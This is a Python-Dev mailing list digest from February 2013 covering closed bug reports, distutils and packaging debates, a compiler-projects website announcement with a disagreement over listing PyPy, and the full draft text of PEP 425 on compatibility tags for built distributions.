http://bugs.python.org/issue17155  closed by vinay.sajip

#17156: Tools/i18n/pygettext.py doesn't parse unicode string.
http://bugs.python.org/issue17156  closed by serhiy.storchaka

#17158: help() module searcher text improvement
http://bugs.python.org/issue17158  closed by python-dev

#17160: test_urllib2net fails
http://bugs.python.org/issue17160  closed by r.david.murray

#17161: make install misses the man and the static library
http://bugs.python.org/issue17161  closed by ned.deily

#17165: Use "except ImportError" instead of bare except in _strptime.p
http://bugs.python.org/issue17165  closed by pitrou

#17166: Fix the suggested usage of _dummy_thread module
http://bugs.python.org/issue17166  closed by r.david.murray

#17168: test.support 3.x docs mentions stringio.stringio
http://bugs.python.org/issue17168  closed by python-dev

#17169: Restore errno in tempfile exceptions
http://bugs.python.org/issue17169  closed by serhiy.storchaka

#17171: email.encoders.encode7or8bit does not work with binary data
http://bugs.python.org/issue17171  closed by r.david.murray

#17173: uses of locale-dependent ctype functions
http://bugs.python.org/issue17173  closed by pitrou

#17190: _FAST opcodes do no range checking
http://bugs.python.org/issue17190  closed by rhettinger

#17194: operator.attrgetter is slower than a lambda
http://bugs.python.org/issue17194  closed by flox

#17195: Reading source code from file on exception
http://bugs.python.org/issue17195  closed by flox

#17196: crash
http://bugs.python.org/issue17196  closed by michael.foord

#17199: Slightly wrong behavior of logging.StrFormatStyle.usesTime
http://bugs.python.org/issue17199  closed by vinay.sajip

#17205: In the help() function the order of methods changes
http://bugs.python.org/issue17205  closed by r.david.murray

#17207: string format precision misbehaving
http://bugs.python.org/issue17207  closed by r.david.murray

#1470548: Bugfix for #1470540 (XMLGenerator cannot output UTF-16)
http://bugs.python.org/issue1470548  closed by serhiy.storchaka

From erik.m.bray at gmail.com  Fri Feb 15 18:27:41 2013
From: erik.m.bray at gmail.com (Erik Bray)
Date: Fri, 15 Feb 2013 12:27:41 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130203T232001-6@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<510EB551.8050705@netwok.org>
	<loom.20130203T232001-6@post.gmane.org>
Message-ID: <CAOTD34be7+1T6aAHbUMGAZPga=wXMc+VSB8VbWZ04yUJpOBHPA@mail.gmail.com>

On Sun, Feb 3, 2013 at 5:24 PM, Vinay Sajip <vinay_sajip at yahoo.co.uk> wrote:
> ?ric Araujo <merwok <at> netwok.org> writes:
>
>> Looks like we agree that a basic tool able to bootstrap the packaging
>> story is needed :)
>
> Agreed. Just because distutils can't easily/reliably build things that are
> better built with SCons/WAF/tup/whatever, doesn't mean that we shouldn't have
> the ability to build pure-Python distributions and distributions including C
> libs and extensions, with the ability to extend easily by third-party tools. It
> just needs to be done in a way which is easy to build on, so the included
> battery stays small and simple. Easier said than done, I know :-)
>
> Regards,
>
> Vinay Sajip

Sorry to revive an old-ish discussion--I'm just catching up on things.
 But I just wanted to add that distutils is still pretty okay for
building reasonably complex projects.  Although it does not rise to
the level of complexity of Numpy or SciPy, the Astropy project
(https://github.com/astropy/astropy) has managed to put together a
pretty nice build system on top of mostly-plain distutils (it does use
distribute but primarily just for 2to3 support).


This has necessitated a number of hacks to overcome shortcomings and
bugs in distutils, but most of those shortcomings could probably be
fixed in distutils within the framework of a slightly lifted freeze.
But in any case I haven't found it worthwhile to switch to something
like bento when the batteries included in the stdlib have been mostly
Good Enough. Having fewer installation dependencies has also made it
significantly easier for non-advanced users to install. Even the
distribute requirement doesn't add too much overhead, as most users
have it on their systems by default now, and for those who don't
distribute_setup.py works okay.

TL;DR, strong -1 on the stdlib "getting out of the build business".
Also as I think Nick already mentioned one of the wins of
Setup-Requires-Dist is to have a standard way to bring in extra build
requirements (such as bento) so if we have better support for a
feature like that it's not necessary to "bless" any preferred tool.

Erik

From drekin at gmail.com  Fri Feb 15 17:28:40 2013
From: drekin at gmail.com (Draic Kin)
Date: Fri, 15 Feb 2013 17:28:40 +0100
Subject: [Python-Dev] PYTHONSTARTUP and -i
Message-ID: <CACvLUakxB6i0GTZe+GOrCjOqzGWFvNLShbzLyZTT2Guj1HYuiQ@mail.gmail.com>

Hello.
Python doc says that the PYTHONSTARTUP file is not read when a script is
run with the -i option. Is there a reason for this? Is there a way to get
the functionality i.e. to be able to run specified Python file just before
the first prompt of interactive interpreter?

Use case: I want to run my own repl on Windows, because there's a problem
with unicode IO in the console. See http://bugs.python.org/issue1602 .

Regards, Drekin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/0fbf8c6a/attachment.html>

From teoliphant at gmail.com  Fri Feb 15 08:11:12 2013
From: teoliphant at gmail.com (Travis Oliphant)
Date: Fri, 15 Feb 2013 01:11:12 -0600
Subject: [Python-Dev] A new webpage promoting Compiler technology for CPython
Message-ID: <3E96A7DD-C8A2-47FB-89C4-D18EB7AEF018@gmail.com>

Hey all, 

With Numba and Blaze we have been doing a lot of work on what essentially is compiler technology and realizing more and more that we are treading on ground that has been plowed before with many other projects.   So, we wanted to create a web-site and perhaps even a mailing list or forum where people could coordinate and communicate about compiler projects, compiler tools, and ways to share efforts and ideas.

The website is:  http://compilers.pydata.org/

This page is specifically for Compiler projects that either integrate with or work directly with the CPython run-time which is why PyPy is not presently listed.  The PyPy project is a great project but we just felt that we wanted to explicitly create a collection of links to compilation projects that are accessible from CPython which are likely less well known.    

But that is just where we started from.   The website is intended to be a community website constructed from a github repository.   So, we welcome pull requests from anyone who would like to see the website updated to reflect their related project.    Jon Riehl (Mython, PyFront, ROFL, and many other interesting projects) and Stephen Diehl (Blaze) and I will be moderating the pull requests to begin with.   But, we welcome others with similar interests to participate in that effort of moderation.

The github repository is here:  https://github.com/pydata/compilers-webpage

This is intended to be a community website for information spreading, and so we welcome any and all contributions.  

Thank you,

Travis Oliphant


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/b2e6c49f/attachment.html>

From stefan_ml at behnel.de  Fri Feb 15 20:30:22 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 15 Feb 2013 20:30:22 +0100
Subject: [Python-Dev] Proposing "Argument Clinic",
 a new way of specifying arguments to builtins for CPython
In-Reply-To: <k9l594$fbr$1@ger.gmane.org>
References: <50BD27CF.1070303@hastings.org> <k9l594$fbr$1@ger.gmane.org>
Message-ID: <kfm2cb$6nn$1@ger.gmane.org>

Hi,

this reply seems to have drowned, so here it is again.

Stefan Behnel, 04.12.2012 16:36:
> Why not provide a constructor for signature objects that parses the
> signature from a string? For a signature like
> 
>    def func(int arg1, float arg2, ExtType arg3, *,
>             object arg4=None) -> ExtType2:
>        ...
> 
> you'd just pass in this string:
> 
>    (arg1 : int, arg2 : float, arg3 : ExtType, *, arg4=None) -> ExtType2
> 
> or maybe prefixed by the function name, don't care. Might make it easier to
> pass it into the normal parser.
> 
> For more than one alternative input type, use a tuple of types. For builtin
> types that are shadowed by C type names, pass "builtins.int" etc.

This usage of Py3 annotations for typing isn't currently supported by
Cython, but if you'd use the first syntax above, Cython could translate
that into a Python function wrapper (almost) straight away. I wonder if
that wouldn't be a way to make builtins and stdlib extension modules look
and behave more like Python functions, by letting Cython generate their C
wrapping code. The non-trivial signatures would also gain some speed when
being called, e.g. with keyword arguments.

That obviously brings up bootstrapping questions (how to run Cython without
builtins?), but they could be worked around by keeping the current code in
place until the wrappers are generated, and then replace it by them.

Just a thought.

Stefan



From dholth at gmail.com  Fri Feb 15 20:33:02 2013
From: dholth at gmail.com (Daniel Holth)
Date: Fri, 15 Feb 2013 14:33:02 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAOTD34be7+1T6aAHbUMGAZPga=wXMc+VSB8VbWZ04yUJpOBHPA@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<510EB551.8050705@netwok.org>
	<loom.20130203T232001-6@post.gmane.org>
	<CAOTD34be7+1T6aAHbUMGAZPga=wXMc+VSB8VbWZ04yUJpOBHPA@mail.gmail.com>
Message-ID: <CAG8k2+4VkP+yoX-d-SMPhN4hDsTL=qHPb9LMRyfOuV2V2W_YSw@mail.gmail.com>

On Fri, Feb 15, 2013 at 12:27 PM, Erik Bray <erik.m.bray at gmail.com> wrote:

> On Sun, Feb 3, 2013 at 5:24 PM, Vinay Sajip <vinay_sajip at yahoo.co.uk>
> wrote:
> > ?ric Araujo <merwok <at> netwok.org> writes:
> >
> >> Looks like we agree that a basic tool able to bootstrap the packaging
> >> story is needed :)
> >
> > Agreed. Just because distutils can't easily/reliably build things that
> are
> > better built with SCons/WAF/tup/whatever, doesn't mean that we shouldn't
> have
> > the ability to build pure-Python distributions and distributions
> including C
> > libs and extensions, with the ability to extend easily by third-party
> tools. It
> > just needs to be done in a way which is easy to build on, so the included
> > battery stays small and simple. Easier said than done, I know :-)
> >
> > Regards,
> >
> > Vinay Sajip
>
> Sorry to revive an old-ish discussion--I'm just catching up on things.
>  But I just wanted to add that distutils is still pretty okay for
> building reasonably complex projects.  Although it does not rise to
> the level of complexity of Numpy or SciPy, the Astropy project
> (https://github.com/astropy/astropy) has managed to put together a
> pretty nice build system on top of mostly-plain distutils (it does use
> distribute but primarily just for 2to3 support).
>
>
> This has necessitated a number of hacks to overcome shortcomings and
> bugs in distutils, but most of those shortcomings could probably be
> fixed in distutils within the framework of a slightly lifted freeze.
> But in any case I haven't found it worthwhile to switch to something
> like bento when the batteries included in the stdlib have been mostly
> Good Enough. Having fewer installation dependencies has also made it
> significantly easier for non-advanced users to install. Even the
> distribute requirement doesn't add too much overhead, as most users
> have it on their systems by default now, and for those who don't
> distribute_setup.py works okay.
>
> TL;DR, strong -1 on the stdlib "getting out of the build business".
> Also as I think Nick already mentioned one of the wins of
> Setup-Requires-Dist is to have a standard way to bring in extra build
> requirements (such as bento) so if we have better support for a
> feature like that it's not necessary to "bless" any preferred tool.
>

Distutils is not really going away. We need it to build the existing 28,000
packages. However empirically it seems if you try to write a significant
extension to or improvement of distutils then you are likely to get burnt
out and switch careers.

Instead of literally killing distutils we hope to make it very easy to use
other build tools when you need them and not use any build tools at all
when you don't. As a thought experiment: what if one of those third party
build tools hosted on pypi was distutils itself? What would you need to do
to make that happen?

The packaging peps PEP-376 and so on are brilliant because they are simple
enough to be implemented twice. If we had better ways to separate interface
from implementation in Python I'd like to see two of whatever else we come
up with for packaging.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/b78fd27c/attachment-0001.html>

From paul at boddie.org.uk  Fri Feb 15 22:44:14 2013
From: paul at boddie.org.uk (Paul Boddie)
Date: Fri, 15 Feb 2013 22:44:14 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
Message-ID: <201302152244.14912.paul@boddie.org.uk>

Travis Oliphant wrote:
>
> With Numba and Blaze we have been doing a lot of work on what essentially
> is compiler technology and realizing more and more that we are treading on
> ground that has been plowed before with many other projects.   So, we
> wanted to create a web-site and perhaps even a mailing list or forum where
> people could coordinate and communicate about compiler projects, compiler
> tools, and ways to share efforts and ideas.
>
> The website is:  http://compilers.pydata.org/

This is a rather nice resource. Thank you for letting us know about it!

There has been an attempt to record different Python implementations on the 
Python Wiki, and now that this is available again, I'd like to remind people 
about it:

http://wiki.python.org/moin/PythonImplementations

I know that this isn't quite the same thing as a page about compiler 
technology, but there is a substantial overlap.

> This page is specifically for Compiler projects that either integrate with
> or work directly with the CPython run-time which is why PyPy is not
> presently listed.  The PyPy project is a great project but we just felt
> that we wanted to explicitly create a collection of links to compilation
> projects that are accessible from CPython which are likely less well known.

I think that given the scope of the projects listed, it shouldn't preclude 
PyPy from being listed, really. After all, interoperability with CPython 
extensions is something of a focus area for PyPy:

http://pypy.org/compat.html

I don't have an agenda here - I don't use PyPy actively, my only involvement 
with Shedskin (which is referenced and which can produce CPython extension 
modules) is in packaging it for Debian, and although I do have a static 
analysis library I see no pressing need to promote it extensively - but I 
feel that when it comes to educational resources people should be a bit 
careful about drawing boundaries that exclude things that would benefit 
people substantially if they only knew about it.

My reason for speaking up about this is that I've had to tell a room full of 
people who were told to use Cython, NumPy and even plain C to make their 
Python programs faster that PyPy existed. (Of course, one can justify 
ignoring the elephant in the room by claiming things like scientific users 
rely on native libraries or CPython extensions - since "science" is a very 
broad term, this obviously isn't universally true - but I think people should 
be entitled to make their own minds up, and I was not completely certain that 
everyone involved in the case in question was oblivious to PyPy's existence 
or status.)

> But that is just where we started from.   The website is intended to be a
> community website constructed from a github repository.   So, we welcome
> pull requests from anyone who would like to see the website updated to
> reflect their related project.    Jon Riehl (Mython, PyFront, ROFL, and
> many other interesting projects) and Stephen Diehl (Blaze) and I will be
> moderating the pull requests to begin with.   But, we welcome others with
> similar interests to participate in that effort of moderation.
>
> The github repository is here:  https://github.com/pydata/compilers-webpage
>
> This is intended to be a community website for information spreading, and
> so we welcome any and all contributions.

There is also the python-static-type-checking Google Group:

https://groups.google.com/forum/?fromgroups#!forum/python-static-type-checking

If no-one beats me to it, I may post details of the site to that group because 
it may well be of interest to the members. Thanks once again for bringing 
such information together in one place!

Paul

From stefan_ml at behnel.de  Fri Feb 15 23:36:43 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 15 Feb 2013 23:36:43 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <201302152244.14912.paul@boddie.org.uk>
References: <201302152244.14912.paul@boddie.org.uk>
Message-ID: <kfmd9o$cp9$1@ger.gmane.org>

Paul Boddie, 15.02.2013 22:44:
> Travis Oliphant wrote:
>> This page is specifically for Compiler projects that either integrate with
>> or work directly with the CPython run-time which is why PyPy is not
>> presently listed.  The PyPy project is a great project but we just felt
>> that we wanted to explicitly create a collection of links to compilation
>> projects that are accessible from CPython which are likely less well known.
> 
> I think that given the scope of the projects listed, it shouldn't preclude 
> PyPy from being listed, really. After all, interoperability with CPython 
> extensions is something of a focus area for PyPy:
> 
> http://pypy.org/compat.html
> 
> I don't have an agenda here - I don't use PyPy actively, my only involvement 
> with Shedskin (which is referenced and which can produce CPython extension 
> modules) is in packaging it for Debian, and although I do have a static 
> analysis library I see no pressing need to promote it extensively - but I 
> feel that when it comes to educational resources people should be a bit 
> careful about drawing boundaries that exclude things that would benefit 
> people substantially if they only knew about it.
> 
> My reason for speaking up about this is that I've had to tell a room full of 
> people who were told to use Cython, NumPy and even plain C to make their 
> Python programs faster that PyPy existed. (Of course, one can justify 
> ignoring the elephant in the room by claiming things like scientific users 
> rely on native libraries or CPython extensions - since "science" is a very 
> broad term, this obviously isn't universally true - but I think people should 
> be entitled to make their own minds up, and I was not completely certain that 
> everyone involved in the case in question was oblivious to PyPy's existence 
> or status.)

This is off-topic for this list, but the main problem with PyPy is that
you'll quickly hit a lot of walls when you try to use it for anything
serious in the area. It's true that there is a certain level of
interoperability with CPython extensions, but calling it a "focus area"
makes it sound bigger than it actually is in my ears. Even trying to get
bugs fixed to at least make things work at all often means running against
walls on their side. I can tell, trying to port Cython mostly consisted of
bugging PyPy developers to fix stuff, which took anything from days to
still-not-done, each time. And, by design, PyPy makes it very hard and time
consuming to debug it and to try to fix bugs in their code base.

So, while I agree that PyPy is worth a try in certain application areas,
and can be helpful for some special needs, also in the field of scientific
computing, it's lightyears away from a production-ready state in that area.
It just doesn't integrate with the huge bulk of software that people use in
their daily work. And once you rely on that software, which is hand tuned,
well integrated and real-world proven in so many ways, over the time span
of way more than a decade, the most visible advantage of PyPy to make
Python code run faster becomes almost pointless. In that light, telling
people to try PyPy and to drop (most of) their current ecosystem for it
doesn't really sound helpful and clearly appears outside of the focus of
the web site in question.

Stefan



From pjenvey at underboss.org  Sat Feb 16 01:01:15 2013
From: pjenvey at underboss.org (Philip Jenvey)
Date: Fri, 15 Feb 2013 16:01:15 -0800
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <kfmd9o$cp9$1@ger.gmane.org>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
Message-ID: <CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>

On Fri, Feb 15, 2013 at 2:36 PM, Stefan Behnel <stefan_ml at behnel.de> wrote:

> This is off-topic for this list, but the main problem with PyPy is that
> you'll quickly hit a lot of walls when you try to use it for anything
> serious in the area. It's true that there is a certain level of
> interoperability with CPython extensions, but calling it a "focus area"
> makes it sound bigger than it actually is in my ears. Even trying to get
> bugs fixed to at least make things work at all often means running against
> walls on their side. I can tell, trying to port Cython mostly consisted of
> bugging PyPy developers to fix stuff, which took anything from days to
> still-not-done, each time. And, by design, PyPy makes it very hard and time
> consuming to debug it and to try to fix bugs in their code base.
>

I take issue with how you've described this, Stefan: I recall many on
pypy-dev working with you quite a bit on the Cython port. There are some
difficult problems involved and the port is not a main focus of the core
PyPy team -- there's only so many free cycles. You should ping us (IRC is
great) about any outstanding issues.


> So, while I agree that PyPy is worth a try in certain application areas,
> and can be helpful for some special needs, also in the field of scientific
> computing, it's lightyears away from a production-ready state in that area.
> It just doesn't integrate with the huge bulk of software that people use in
> their daily work. And once you rely on that software, which is hand tuned,
> well integrated and real-world proven in so many ways, over the time span
> of way more than a decade, the most visible advantage of PyPy to make
> Python code run faster becomes almost pointless. In that light, telling
> people to try PyPy and to drop (most of) their current ecosystem for it
> doesn't really sound helpful and clearly appears outside of the focus of
> the web site in question.


I disagree that it's pointless. Numba disagrees too: it also attempts to
make Python code faster.

PyPy is indeed a work in progress in this area, but that doesn't
necessarily preclude it from being included.

--
Philip Jenvey
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/311511a0/attachment.html>

From paul at boddie.org.uk  Sat Feb 16 01:27:00 2013
From: paul at boddie.org.uk (Paul Boddie)
Date: Sat, 16 Feb 2013 01:27:00 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
Message-ID: <201302160127.01156.paul@boddie.org.uk>

Stefan Behnel wrote:
>
> This is off-topic for this list, but the main problem with PyPy is that
> you'll quickly hit a lot of walls when you try to use it for anything
> serious in the area. It's true that there is a certain level of
> interoperability with CPython extensions, but calling it a "focus area"
> makes it sound bigger than it actually is in my ears.

It is a focus area. They even have a Web page for it, which I mentioned.

> Even trying to get bugs fixed to at least make things work at all often
> means running against walls on their side. I can tell, trying to port
> Cython mostly consisted of bugging PyPy developers to fix stuff, which took
> anything from days to still-not-done, each time. And, by design, PyPy makes
> it very hard and time consuming to debug it and to try to fix bugs in their
> code base.

I'm sure it is tricky to debug PyPy. However, complete compatibility with 
CPython for Python programs is a goal of the project, and I have no reason to 
doubt that the project is committed to supporting broader compatibility with 
CPython.

> So, while I agree that PyPy is worth a try in certain application areas,
> and can be helpful for some special needs, also in the field of scientific
> computing, it's lightyears away from a production-ready state in that area.

You are generalising too broadly, which is precisely what I mentioned in my 
last message. There are also plenty of people doing science who aren't 
using "numeric" libraries or relying on native code libraries. What I most 
took exception to was either the lack of awareness of PyPy amongst people 
giving advice on how to speed up Python programs - not specifically "numeric" 
programs - to an audience of people who happened to be scientists, or the 
pretense that the first port of call was to break out Cython or NumPy when 
the easiest thing for them to do was to try their code on PyPy, provided they 
could get a package for it.

One of my colleagues thought that "you could always rewrite your code in C", 
which is what he took away from such recommendations, was hilarious advice 
for speeding up Python programs. You write your Python code in another 
language! Why not just use C in the first place? Not such a stupid question, 
really. It's a question that has been hanging around for far too long without 
a really good answer.

> It just doesn't integrate with the huge bulk of software that people use in
> their daily work. And once you rely on that software, which is hand tuned,
> well integrated and real-world proven in so many ways, over the time span
> of way more than a decade, the most visible advantage of PyPy to make
> Python code run faster becomes almost pointless. In that light, telling
> people to try PyPy and to drop (most of) their current ecosystem for it
> doesn't really sound helpful and clearly appears outside of the focus of
> the web site in question.

For a very long time, and even now to some extent, you could say the same 
thing about Python 3. Personally, I suspect that some people have such a 
problem with PyPy that they would rather not mention it or see it mentioned.

That's obviously a shame because not only does PyPy offer people an 
alternative, but it also encourages the development of software in Python, 
some of which appears on the resource being discussed, that would otherwise 
be written in C because "that's what we would usually write this kind of 
software in". And although I don't actively use PyPy, mostly because of what 
the default Python implementation is on the platforms I use, I would like to 
see more actual Python code written.

But I'm certainly not going to dwell on this matter any more than I've already 
done. I'm sure people will get something from the referenced resource 
regardless of whether any particular project is mentioned by it or not.

Paul

From dholth at gmail.com  Sat Feb 16 05:06:23 2013
From: dholth at gmail.com (Daniel Holth)
Date: Fri, 15 Feb 2013 23:06:23 -0500
Subject: [Python-Dev] Submitting PEP 425 (compatibility tags)
Message-ID: <CAG8k2+5M6XS5CX4BYDYtJ15rqMs+7D8SOdZZW7jYRi0apE8Dug@mail.gmail.com>

This is the improved compatibility tags PEP 425, specifying how part of the
Wheel PEP 427 filenames work. Last time we discussed whether replacing .
with _ was ugly but I concluded it was harmless.

Submitted for your consideration,

PEP: 425
Title: Compatibility Tags for Built Distributions
Version: $Revision$
Last-Modified: 07-Aug-2012
Author: Daniel Holth <dholth at fastmail.fm>
BDFL-Delegate: Nick Coghlan <ncoghlan at gmail.com>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 27-Jul-2012
Python-Version: 3.4
Post-History: 8-Aug-2012, 18-Oct-2012, 15-Feb-2013


Abstract
========

This PEP specifies a tagging system to indicate with which versions of
Python a built or binary distribution is compatible.  A set of three
tags indicate which Python implementation and language version, ABI,
and platform a built distribution requires.  The tags are terse because
they will be included in filenames.


PEP Editor's Note
=================

While the naming scheme described in this PEP will not be supported directly
in the standard library until Python 3.4 at the earliest, draft
implementations may be made available in third party projects.


Rationale
=========

Today "python setup.py bdist" generates the same filename on PyPy
and CPython, but an incompatible archive, making it inconvenient to
share built distributions in the same folder or index.  Instead, built
distributions should have a file naming convention that includes enough
information to decide whether or not a particular archive is compatible
with a particular implementation.

Previous efforts come from a time where CPython was the only important
implementation and the ABI was the same as the Python language release.
This specification improves upon the older schemes by including the Python
implementation, language version, ABI, and platform as a set of tags.

By comparing the tags it supports with the tags listed by the
distribution, an installer can make an educated decision about whether
to download a particular built distribution without having to read its
full metadata.

Overview
========

The tag format is {python tag}-{abi tag}-{platform tag}

python tag
    ?py27?, ?cp33?
abi tag
    ?cp32dmu?, ?none?
platform tag
    ?linux_x86_64?, ?any?

For example, the tag py27-none-any indicates compatible with Python 2.7
(any Python 2.7 implementation) with no abi requirement, on any platform.

Use
===

The `wheel` built package format includes these tags in its filenames,
of the form ``{distribution}-{version}(-{build tag})?-{python tag}-{abi
tag}-{platform tag}.whl``.  Other package formats may have their own
conventions.

Details
=======

Python Tag
----------

The Python tag indicates the implementation and version required by
a distribution.  Major implementations have abbreviated codes, initially:

* py: Generic Python (does not require implementation-specific features)
* cp: CPython
* ip: IronPython
* pp: PyPy
* jy: Jython

Other Python implementations should use `sys.implementation.name`.

The version is `py_version_nodot`.  CPython gets away with no dot,
but if one is needed the underscore `_` is used instead.  PyPy should
probably use its own versions here `pp18`, `pp19`.

The version can be just the major version `2` or `3` `py2`, `py3` for
many pure-Python distributions.

Importantly, major-version-only tags like `py2` and `py3` are not
shorthand for `py20` and `py30`.  Instead, these tags mean the packager
intentionally released a cross-version-compatible distribution.

A single-source Python 2/3 compatible distribution can use the compound
tag `py2.py3`.  See `Compressed Tag Sets`, below.

ABI Tag
-------

The ABI tag indicates which Python ABI is required by any included
extension modules.  For implementation-specific ABIs, the implementation
is abbreviated in the same way as the Python Tag, e.g. `cp33d` would be
the CPython 3.3 ABI with debugging.

The CPython stable ABI is `abi3` as in the shared library suffix.

Implementations with a very unstable ABI may use the first 6 bytes (as
8 base64-encoded characters) of the SHA-256 hash of ther source code
revision and compiler flags, etc, but will probably not have a great need
to distribute binary distributions. Each implementation's community may
decide how to best use the ABI tag.

Platform Tag
------------

The platform tag is simply `distutils.util.get_platform()` with all
hyphens `-` and periods `.` replaced with underscore `_`.

* win32
* linux_i386
* linux_x86_64

Use
===

The tags are used by installers to decide which built distribution
(if any) to download from a list of potential built distributions.
The installer maintains a list of (pyver, abi, arch) tuples that it
will support.  If the built distribution's tag is `in` the list, then
it can be installed.

For example, an installer running under CPython 3.3 on a linux_x86_64
system might support::

 1. cp33-cp33m-linux_x86_64
 2. cp33-abi3-linux_x86_64
 3. cp33-none-linux_x86_64
 4. cp33-none-any
 5. cp3-none-any
 6. cp32-none-any
 7. cp31-none-any
 8. cp30-none-any
 9. py33-none-any
 10. py3-none-any
 11. py32-none-any
 12. py31-none-any
 13. py30-none-any

The list is in order from most-preferred (a distribution with a
compiled extension module, built for the current version of Python)
to least-preferred (a pure-Python distribution built with an older
version of Python).  A user could instruct their installer to fall back
to building from an sdist more or less often by configuring this list of
tags; for example, a user could include only the `*-none-any` tags to only
download built packages that advertise themselves as being pure Python.

Rarely there will be more than one supported built distribution for a
particular version of a package.  For example, a packager could release
a package tagged `cp33-abi3-linux_x86_64` that contains an optional C
extension and the same distribution tagged `py3-none-any` that does not.
The index of the tag in the supported tags list breaks the tie, and the
package with the C extension is installed in preference to the package
without because that tag appears first in the list.

Compressed Tag Sets
===================

To allow for compact filenames of bdists that work with more than
one compatibility tag triple, each tag in a filename can instead be a
'.'-separated, sorted, set of tags.  For example, pip, a pure-Python
package that is written to run under Python 2 and 3 with the same source
code, could distribute a bdist with the tag `py2.py3-none-any`.
The full list of simple tags is::

    for x in pytag.split('.'):
        for y in abitag.split('.'):
            for z in archtag.split('.'):
                yield '-'.join((x, y, z))

A bdist format that implements this scheme should include the expanded
tags in bdist-specific metadata.  This compression scheme can generate
large numbers of unsupported tags and "impossible" tags that are supported
by no Python implementation e.g. "cp33-cp31u-win64", so use it sparingly.

FAQ
===

What tags are used by default?
    Tools should use the most-preferred architecture dependent tag
    e.g. `cp33-cp33m-win32` or the most-preferred pure python tag
    e.g. `py33-none-any` by default.  If the packager overrides the
    default it indicates that they intended to provide cross-Python
    compatibility.

Can I have a tag `py32+` to indicate a minimum Python minor release?
    No.  Inspect the Trove classifiers to determine this level of
    cross-release compatibility.  Similar to the announcements "beaglevote
    versions 3.2 and above no longer supports Python 1.52", you will
    have to manually keep track of the maximum (PEP-386) release that
    still supports your version of Python.

Why isn't there a `.` in the Python version number?
    CPython has lasted 20+ years without a 3-digit major release. This
    should continue for some time.  Other implementations may use _ as
    a delimeter, since both - and . delimit the surrounding filename.

Who will maintain the registry of abbreviated implementations?
    New two-letter abbreviations can be requested on the python-dev
    mailing list.  As a rule of thumb, abbreviations are reserved for
    the current 4 most prominent implementations.

Does the compatibility tag go into METADATA or PKG-INFO?
    No.  The compatibility tag is part of the built distribution's
    metadata.  METADATA / PKG-INFO should be valid for an entire
    distribution, not a single build of that distribution.

Why didn't you mention my favorite Python implementation?
    The abbreviated tags facilitate sharing compiled Python code in a
    public index.  Your Python implementation can use this specification
    too, but with longer tags.
    Recall that all "pure Python" built distributions just use 'py'.

References
==========

.. [1] Egg Filename-Embedded Metadata
   (
http://peak.telecommunity.com/DevCenter/EggFormats#filename-embedded-metadata
)

.. [2] Creating Built Distributions
   (http://docs.python.org/distutils/builtdist.html)

.. [3] PEP 3147 -- PYC Repository Directories
   (http://www.python.org/dev/peps/pep-3147/)

Acknowledgements
================

The author thanks Paul Moore, Nick Coghlan, Mark Abramowitz, and
Mr. Michele Lacchia for their valuable advice and help with this effort.

Copyright
=========

This document has been placed in the public domain.



..
   Local Variables:
   mode: indented-text
   indent-tabs-mode: nil
   sentence-end-double-space: t
   fill-column: 70
   coding: utf-8
   End:
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/d42f2a9a/attachment-0001.html>

From dholth at gmail.com  Sat Feb 16 05:21:27 2013
From: dholth at gmail.com (Daniel Holth)
Date: Fri, 15 Feb 2013 23:21:27 -0500
Subject: [Python-Dev] PEP 427: wheel
Message-ID: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>

